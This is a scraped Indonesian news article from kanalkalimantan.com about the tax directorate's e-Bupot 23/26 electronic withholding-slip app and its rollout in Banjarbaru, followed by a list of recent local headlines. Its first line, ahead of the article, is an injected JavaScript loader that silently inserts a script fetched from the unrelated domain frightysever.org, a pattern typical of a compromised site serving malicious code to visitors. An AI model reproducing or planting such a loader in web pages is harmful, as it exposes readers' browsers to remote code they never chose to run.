(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Aplikasi E-Bupot Tawarkan Kemudahan bagi Wajib Pajak


KANALKALIMANTAN.COM, BANJARBARU – Direktorat Jenderal Pajak (DJP) senantiasa melakukan perubahan secara terus menerus ke arah lebih baik, memastikan wajib pajak mendapatkan layanan berkualitas, mudah, murah, dan cepat.

Melalui sosialisasi online via webinar KPP Pratama Banjarbaru menyampaikan detail mengenai E-Bupot bagi wajib pajak, Kamis (16/7/2020).

Salah satu terobosan yang paling ditunggu oleh wajib pajak adalah aplikasi bukti potong PPh Pasal 23/26 elektronik disebut dengan e-Bupot 23/26. Aplikasi e-Bupot 23/26 adalah perangkat lunak yang disediakan di laman milik DJP atau saluran tertentu yang ditetapkan Dirjen Pajak dapat digunakan untuk membuat bukti pemotongan, membuat dan melaporkan SPT Masa PPh Pasal 23/26 dalam bentuk dokumen elektronik.

Sebenarnya aturan mengenai  e-Bupot 23/26 sudah ditetapkan sejak 31 Maret 2017 melalui Peraturan Dirjen Pajak Nomor PER-04/PJ/2017 tentang bentuk, isi, tata cara pengisian dan penyampaian surat pemberitahuan masa pajak penghasilan Pasal 23 dan/atau Pasal 26 serta bentuk bukti pemotongan pajak penghasilan Pasal 23 dan/atau Pasal 26.

 

Namun aturan tersebut belum diakomodasi dengan aplikasi e-Bupot 23/26 itu sendiri, sehingga untuk pelaporan SPT Masa PPh Pasal 23/26 dalam bentuk dokumen elektronik menggunakan aplikasi e-Bupot 23/26 belum dapat terealisasikan bagi seluruh wajib pajak. Untuk wilayah kota Banjarbaru E-Bupot sendiri akan berlaku pada bulan Agustus 2020.

Dalam rangka tertib administrasi maka terdapat standardisasi dalam penerbitan Bukti Pemotongan PPh Pasal 23/26 elektronik. Adapun standar penomoran Bukti Pemotongan PPh Pasal 23/26 sebagaimana diatur dalam Lampiran Peraturan Direktur Jenderal Pajak Nomor PER-04/PJ/2017 diantaranya sebagai berikut.

Sesuai dengan Pasal 1 Peraturan Dirjen Pajak Nomor PER-04/PJ/2017, yang dimaksud dengan Sertifikat Elektronik (Digital Certificate) adalah sertifikat yang bersifat elektronik memuat tanda tangan elektronik dan identitas yang menunjukan status subyek hukum para pihak dalam transaksi elektronik yang dikeluarkan DJP atau penyelenggara sertifikasi elektronik. Sedangkan tanda tangan elektronik adalah tanda tangan yang terdiri atas informasi elektronik yang dilekatkan, terasosiasi atau terkait dengan informasi elektronik lainnya yang digunakan sebagai alat verifikasi dan autentikasi.

Meskipun belum dapat diaplikasikan untuk seluruh wajib pajak, namun aplikasi e-Bupot 23/26 merupakan terobosan jitu DJP untuk menyederhanakan proses bisnis yang terjadi di KPP. Mengingat dunia ke depan yang serba digital serta tuntutan untuk menjadi lebih baik, kehadiran aplikasi ini sangat dibutuhkan. Usaha yang dilakukan DJP ini patutlah diberikan apresiasi. Meskipun belum sepenuhnya terwujud, namun secara perlahan dan pasti aplikasi e-Bupot 23/26 akan menjadi inovasi yang andal demi peningkatan kualitas pelayanan bagi wajib pajak. (kanalkalimantan.com/andy)

Reporter : andy
Editor : bie

Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

10 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

13 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

17 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

17 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

17 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

19 jam ago

This website uses cookies.